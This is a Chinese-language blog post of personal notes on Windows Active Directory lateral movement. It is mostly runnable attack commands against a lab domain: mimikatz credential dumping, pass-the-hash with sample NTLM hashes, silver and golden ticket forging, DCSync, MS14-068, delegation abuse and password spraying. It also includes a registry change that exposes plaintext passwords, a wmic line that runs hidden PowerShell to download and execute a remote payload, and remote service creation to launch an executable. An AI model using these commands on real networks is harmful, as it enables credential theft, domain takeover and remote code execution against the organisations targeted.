• 内网 | 横向(杂项)


    横向移动

    ptx(没有得到明文)

    pth(pass the hash)

    拿不到明文,我们又想用ntlm hashes搞事情

    条件:目标的用户名以及ntlm hash

    工具:smbmap,crackmapexec,smbexec,msf,mimikatz.exe

    注意:在使用pth的时候我们需要注意kb2871997这个补丁,对于非rid500的账户都不能远程登录ipc,或者psexec都不行

    还有我门需要在这里注意下面几个注册表会对我们pth的账户有限制

    不告诉你!!!!!!

    mimikatz

    首先我们获得本地的一个ntlm hash 需要管理员权限甚至是system权限。

    privilege::debug

    sekurlsa::logonpasswords

    mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > pssword.txt

    pth攻击:

    sekurlsa::pth /user:administrator /domain:GOD /ntlm:ccef208c6485269c20db2cad21734fe7

    然后会弹出来自己的cmd,但是我们可以使用以下命令

    net use 192.168.3.21c$
    dir OWA2010CN-God.god.orgc$

    当目标为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文。cmd修改注册表命令:

    reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

    访问到了域控。注入成功后,可以使用psexec、wmic、wmiexec等实现远程执行命令。
    还可以使用mimikatz实现rdp.

    限制条件:
    需要服务器端开启了Restricted Admin mode模式,受限管理员模式 ,主要功能是使得凭据不会暴露在目标系统中,使用当前Windows登录凭据,不需要输入口令,直接登录即可。所以为PTH提供了可能
    适用系统:
    Windows 8.1和Windows Server 2012 R2默认支持该功能Windows 7和Windows Server 2008 R2默认不支持,需要安装补丁2871997、2973351

    sekurlsa::pth /user:administrator /domain:GOD /ntlm:ccef208c6485269c20db2cad21734fe7 "/run:mstsc.exe /restrictedadmin"

    crackmapexec

    单个pth远程执行命令:

    批量pth传递

    crackmapexec 192.168.3.0/24 -u administrator -H ccef208c6485269c20db2cad21734fe7

    wmiexec.exe(其实也有powershell,py,vbs版本)

    单个目标横向移动:

    wmiexec -hashes 00000000000000000000000000000000:ccef208c6485269c20db2cad21734fe7 God/administrator@192.168.3.21 "whoami"

    批量pth:

    wmiexec Target 192.168.3.0/24 Domain God Username administrator Hash ccef208c6485269c20db2cad21734fe7

    God为域,如果无域就是workgroup

    ps版本的批量pth:

    本地加载(推荐使用)
    powershell -exec bypass
    Import-Module .Invoke-WMIExec.ps1
    Import-Module .Invoke-TheHash.ps1

    Invoke-TheHash -Type WMIExec -Target 192.168.3.0/24 -Domain God -Username administrator -Hash ccef208c6485269c20db2cad21734fe7

    ptt(pass the ticket)

    白银票据

    特点:

    1. 不需要和kdc进行交互
    2. 需要目标服务的ntlm hash
    3. 域内所有用户的域sid是一样的。

    模拟一个场景:
    当我们拿下一个域内服务器,但是我们不是域内账户,我们要使用域内账户的服务,而且这个服务需要经过kdc的验证,这个时候我们就可以使用白银票据。

    mimikatz.exe 伪造 CIFS 服务

    kerberos::list 列出票据

    kerberos::purge 清除票据

    伪造方式
    先导出目标服务器的hash(这时候我们已经是高权限了)

    mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

    伪造票据:

    mimikatz "kerberos::golden /domain: <域名> /sid:<域的sid> /target:<目标服务器主机名> /service:<服务类型> /rc4: /user:<用户名> /ptt" exit

    获得文件共享服务的权限

    伪造文件共享服务的权限。
    192.168.3.21如下:

    假设我们现在知道了域控的ntlm hash那么

    mimikatz "kerberos::golden /domain:God.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:OWA2010CN-GOD /service:CIFS /rc4:ccef208c6485269c20db2cad21734fe7 /user:administrator /ptt" exit

    kerberos::golden /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:OWA2010CN-GOD.god.org /rc4:cff20495f1cc8124223be0c930beea4a /service:cifs /user:administrator /ptt

    这里的域sid是用户的sid去除最后的一个值。

    下面是我们文件服务器白银票据的传递:

    kerberos::golden /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:FILESERV.god.org /rc4:4776208f07860f0613573460bd72db10 /service:cifs /user:123 /ptt

    mimikatz.exe 伪造LDAP 服务权限

    kerberos::golden /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:OWA2010CN-GOD.god.org /rc4:cff20495f1cc8124223be0c930beea4a /service:ldap /user:administrator /ptt

    前提:我们能够获取的用户的权限足够大

    通过这种方法能够拿到,对于域控可以拿到指定用户的ntlm hash,如果是krbtgt的hash那么就可以直接使用黄金票据,美滋滋~。

    命令格式

    lsadump::dcsync /dc:域DC /domain:域名 /user:域用户名

    这里我们
    example:

    lsadump::dcsync /dc:OWA2010CN-God.god.org /domain:God.org /user:webadmin

    向 DC 发起一个同步对象(可获取帐户的密码信息)的质询。需要的权限包括管理员组(Administrators),域管理员组( Domain Admins)或企业管理员组(Enterprise Admins)以及域控制器的计算机帐户,只读域控制器默认不允许读取用户密码数据。

    白银票据开启远程powershell服务

    kerberos::golden /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:OWA2010CN-GOD.god.org /rc4:cff20495f1cc8124223be0c930beea4a /service:http /user:administrator /ptt

    kerberos::golden /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:OWA2010CN-GOD.god.org /rc4:cff20495f1cc8124223be0c930beea4a /service:wsman /user:administrator /ptt

    黄金票据

    黄金票据的条件要求:
    1.域名称[AD PowerShell模块:(Get-ADDomain).DNSRoot] 
    2.域的SID 值[AD PowerShell模块:(Get-ADDomain).DomainSID.Value] 
    3.域的KRBTGT账户NTLM密码哈希4.伪造用户名

    在域内管理员是都可以访问域控的。
    一旦拥有访问权限,就可以使用mimikatz来提取krbtgt账户密码hash

    在一个多域AD森林中,如果创建的Golden Ticket域不包含Enterprise Admins组,则Golden Ticket不会向林中的其他域提供管理权限。在单个域Active Directory林中,由于Enterprise Admins组驻留在此域中,这时创建Golden Ticket不存在局限性.
    
    在迁移方案中,从DomainA迁移到DomainB的用户将原始DomainA用户SID值添加到新的DomainB的 SID History属性中。当用户使用新帐户登录DomainB时,DomainA SID将与确定访问的DomainB用户组一起验证。这意味着可以将SID添加到SID历史记录以扩展访问。  一旦Mimikatz支持Golden Ticket(和Silver Tickets)中的SID History,事情会变得更加有趣,因为AD Forest中的任何组都可以被包含并用于授权访问。使用最新版本的Mimikatz,我们现在可以将SID历史记录添加到Forest Enterprise Admins组的Golden Ticket中。一旦单个域名的KRBTGT帐户密码哈希被获取到,通过黄金票据可伪造用户登录到整个森林中。 总而言之,一旦一个域名受到威胁。黄金门票现在可以用来微机AD森林中的任何域
    

    除非在Enterprise Admins中,否则黄金票据不能跨域信任使用,。标准的黄金票据仅限于其创建的子域.

    mimikatz.exe黄金票据

    privilege::debug

    lsadump::lsa /patch

    mimikatz log "lsadump::dcsync /domain:God.org /user:krbtgt"

    b097d7ed97495408e1537f706c357fc5

    使用krbtgt的hash值:

    kerberos::golden  /admin:ADMIINACCOUNTNAME  /domain:DOMAINFQDN /id:ACCOUNTRID  /sid:DOMAINSID  /krbtgt:KRBTGTPASSWORDHASH  /ptt

    kerberos::golden /admin:administrator  /domain:God.org /id:502  /sid: S-1-5-21-1218902331-2157346161-1782232778 /krbtgt:b097d7ed97495408e1537f706c357fc5  /ptt

    使用krbtgt的aes256值:

    mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god/ticket:gold.kirbi"

    kerberos::ptt c:gold.kirbi

    就可以啦。

    new:
    mimikatz "kerberos::golden /domain:<域名> /sid:<域sid> /rc4:"

    mimikatz "kerberos::golden /domain:God.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /rc4:b097d7ed97495408e1537f706c357fc5 /user:ab /ptt" exit

    使用psexec可以反弹cmd的shell

    黄金票据+dcsync获取指定用户的密码

    接着上面我们已经实现黄金票据

    lsadump::dcsync /user:boss /domain:God.org

    ms14-068

    ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码

    ms14-068.exe -u webadmin@God.org -s S-1-5-21-1218902331-2157346161-1782232778-1132 -d 192.168.3.21 -p admin!@#45

    mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
    mimikatz # kerberos::list //查看当前机器凭证
    mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中

    然后就可以~

    ptk(pass the key)

    获取目标用户的aes key

    mimikatz "privilege::debug" "sekurlsa::ekeys"

    注入aes key:

    mimikatz "privilege::debug" "sekurlsa::pth /user:mary /domain:god.org /aes256:c4388a1fb9bd65a88343a32c09e53ba6c1ead4de8a17a442e819e98c522fc288"

    注意这里需要高权限。

    成功得到用户明文密码

    psexec (445 139)

    要求:

    1. smb服务必须打开
    2. 文件和打印机共享必须打开
    3. admin$必须可以访问

    psexec.exe 192.168.3.21 -u administrator -p Admin12345 -s cmd

    wmi(135)

    直接上线

    wmic /NODE:192.168.3.31 /user:"" /password:"admin!@#45" PROCESS call create "powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://...***:99/a'))""

    wmic.vbc

    cscript.exe .wmiexec.vbs /shell 192.168.3.21 Godadministrator Admin12345

    smbexec or dcomexec

    上面两个文件有各种代码的版本

    eg:

    smbexec -hashes xxxxxx administrator@192.168.3.21

    winrs

    winrs -r:192.168.3.21 -u:administrator -p:Admin12345 "whoami"

    反弹shell

    winrs -r:192.168.3.21 -u:administrator -p:Admin12345 "cmd"

    这个太过麻烦了,之前可能需要一些配置trusthost之类的

    委派攻击

    非约束委派

    前提:需要域管理员登陆过

    非约束委派:当user访问service1时,如果service1的服务账号开启了unconstrained delegation(非约束委派),则当user访问service1时会将user的TGT发送给service1并保存在内存中以备下次重用,然后service1 就可以利用这张TGT以user的身份去访问域内的任何服务(任何服务是指user能访问的服务)了

    利用方式

    使用adfind查询非约束委派

    AdFind.exe -b "DC=God,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

    或者powerview

    powershell -exec bypass

    Import-Module .powerview.ps1

    Get-NetComputer -Unconstrained -Domain God.org //查找非约束委派的主机

    查找非约束委派的用户

    然后我们使用mimikatz

    privilege::debug

    sekurlsa::tickets /export

    将票据导出来,下面是管理员的一个票据

    然后倒入内存

    dir OWA2010CN-Godc$

    非约束委派+printer spooler

    spool sample

    2012
    未完.....

    约束委派

    然后需要我们设定一个服务用户

    设置:setspn -U -A variant/golden xxx

    查看是否成功:setspn -l xxx

    查找约束委派用户

    Get-DomainUser –TrustedToAuth -domain qiyou.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl

    查找域中配置约束委派的主机

    Get-DomainComputer -TrustedToAuth -Domain qiyou.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize

    tgt::ask /user:fileadmin /domian:God.org /password:Admin12345 /ticket:123.kirbi

    tgs::s4u /tgt:123.kirbi /user:administrator@God.org /service:cifs/webadmin.God.org

    又会获得一个

    kerberos::ptt 3.kirbi

    这时候不出意外就可以访问啦

    other

    sc服务

    远程启动一个exe可以直接上线

    sc 192.168.3.21 create exampleservice binpath= "c:1.exe"

    sc 192.168.3.21 start exampleservice

    文件的移动

    copy c:windows empwebadmi.txt OWA2010CN-God.God.orgc$

    AutoRDPwn

    powershell 4.0或者更高版本

    查看版本

    $host

    项目的地址

    https://github.com/joelgmsec/autordpwn

    powershell -ep bypass "cd $env:temp ; iwr https://darkbyte.net/autordpwn.php -outfileAutoRDPwn.ps1 ; .AutoRDPwn.ps1"

    然后他会让我们选择语言之类的
    傻瓜操作

    sharprdp

    sharprdp.exe computername=dc01 command=whoami username=Godadministrator password=admin!@#45

    adexplorer

    这个工具只需要我们输入域,用户名密码就可以查看一些信息

    adfind

    域中也是有组的全局组,通用组,域本地组

    以下是一些查询命令。

    
    列出域控制器名称:
    >AdFind -sc dclist
    
    查询当前域中在线的计算机:
    >AdFind -sc computers_active
    
    查询当前域中在线的计算机(只显示名称和操作系统):>AdFind -sc computers_active name operatingSystem
    
    查询当前域中所有计算机:
    >AdFind -f "objectcategory=computer"
    
    查询当前域中所有计算机(只显示名称和操作系统):
    >AdFind -f "objectcategory=computer" name operatingSystem
    
    查询域内所有用户:
    >AdFind -users name
    
    查询所有GPO:
    >AdFind -sc gpodmp
    
    指定用户名,指定组,指定域
    adfind.exe -b cn=administrator,cn=administrator,dc=God,dc=org sn
    
    

    用户组可以登陆普通的机器。
    所以我尝试了使用webadmin去登陆了fileadmin是可以的

    枚举会话

    psloggedon.exe OWA2010CN-GOD

    netsess.exe

    pvefindaduser.exe

    查看指定域的spn信息
    setspn.exe -T offensive -q * / *

    密码用户名枚举

    powershell -exec bypass

    Import-module .DomainPasswordSpray.ps1

    这里有两个脚本还有一个是改编版地址如下:

    https://payloads.online/scripts/Invoke-DomainPasswordSpray.txt

    枚举用户

    Get-DomainUserList -Domain God.org -RemoveDisabled -RemovePotentialLockouts

    跑密码:

    Invoke-DomainPasswordSpray -Domain God.org -Password Admin12345

    Get-DomainUserList -Domain God.org -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt

    当然我们这里还可以使用字典来

    Invoke-DomainPasswordSpray -UserList userlist.txt -Domain God.org -PasswordList 1.txt -OutFile test.txt

    Invoke-DomainPasswordSpray -UserList userlist.txt -Domain God.org -PasswordList 1.txt -OutFile test.txt

    参考

    https://payloads.online/posts/
    https://www.cnblogs.com/backlion/p/8119013.html
    https://www.cnblogs.com/backlion/p/8127868.html

  • 相关阅读:
    39页第3题 求x的n次幂
    实验4-1 求花费电费的金额
    实验二利用循环计算多个圆柱体体积
    39页第一题 四则运算及其余数
    实验一计算圆的面积
    7-14
    第六章例6-3
    第六章例6-2
    第六章例6-1
    第五章例5-9
  • 原文地址:https://www.cnblogs.com/J0ng/p/14374709.html
Copyright © 2020-2023  润新知